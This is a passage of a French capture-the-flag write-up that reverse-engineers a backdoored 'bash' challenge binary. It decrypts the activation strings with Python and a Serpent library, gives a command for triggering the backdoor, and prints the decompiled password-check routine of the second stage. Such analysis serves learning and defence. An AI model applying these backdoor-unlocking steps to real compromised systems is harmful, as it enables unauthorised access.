    &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;undo_feistel_pass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;II&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On lance l'algo sur "mysterious_array":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;bufd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;bufd&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;decrypt_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mysterious_array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Et on obtient la chaîne qui active la 1ère étape de la backdoor: &lt;code&gt;eY3HmR6knwflbc1nsq0ILP9KZYQ8DTn&lt;/code&gt;. On pourra stocker cette chaîne dans un fichier, et invoquer la backdoor en faisant &lt;code&gt;./bash 777&amp;lt;backdoor.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;La suite de la fonction déchiffre un autre fichier ELF avec un algo ressemblant à du Salsa20 (magic consts go brrr), mais j'ai abandonné l'analyse de l'algo et me suis contenté de dumper l'ELF déchiffré après avoir patché le binaire avec un int3 après l'appel de la fonction de déchiffrement.&lt;/p&gt;
&lt;h2&gt;Analyse du "second stage"&lt;/h2&gt;
&lt;p&gt;Le binaire dumpé utilise la même technique que le binaire "bash", avec l'entrypoint à cheval sur deux sections. La fonction "main" ne fait qu'appeler la fonction de déchiffrement avec argv[1]. Cette fonction de déchiffrement ressemble à ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;do_the_hustle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// rbp&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// r12&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// r13&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;calloc_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;4096L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_mm_load_si128&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xmmword_5060&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x94u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9Eu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC6u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x73u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1Au&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9Cu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xBEu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x53u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8Du&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x82u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x56u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x99u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xB2u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;malloc_0&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;malloc_0&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;serpent_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9601AAF388AB0192LL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2127591BB4E06735LL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;send_backdoor_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;serpent_encrypt&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x582C4E2FDC6C7226LL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC00B8862110C7A9DLL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;send_backdoor_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;send_backdoor_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;free_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Une chaîne "Dh1IuM7SV7xgZP8q" et déchiffrée via un simple XOR, passée en clé à un autre algo de déchiffrement. Grâce à la Technique Secrète de Recherche de S-Box sur Google, je trouve ce blog: https://ctf.njupt.edu.cn/271.html, qui mentionnait cette S-Box intéressante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;0x03, 0x08, 0x0F, 0x01, 0x0A, 0x06, 0x05, 0x0B, 0x0E, 0x0D
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On trouve le nom du challenge qui utilise cette S-Box ("Touch of Satan"), et grâce à mes talents en OSINT, je trouve cet autre blog chinois: https://blog.csdn.net/qq_38867330/article/details/102922423, qui affirme qu'il s'agit de Serpent.&lt;/p&gt;
&lt;p&gt;J'ai donc récupéré une vieille lib Python 2 qui implémente Serpent, et l'ai bidouillée pour la faire fonctionner sur Python 3. Puis, en lançant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;serpent&lt;/span&gt;
&lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;serpent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Serpent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Dh1IuM7SV7xgZP8q&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;bin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;QQQQ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x9601AAF388AB0192&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2127591BB4E06735&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x582C4E2FDC6C7226&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC00B8862110C7A9D&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;je trouve cette chaîne &lt;code&gt;0NSlH7m8C91boiGq10NtQKq4aP7mVyJ&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Bash backdoor Pt. II&lt;/h2&gt;
&lt;p&gt;Comme le binaire qu'on a trouvé ne fait qu'écrire le statut "0" ou "1" dans un FIFO selon si on a donné le bon mot de passe, on doit trouver l'autre partie de la backdoor dans le binaire "bash".&lt;/p&gt;
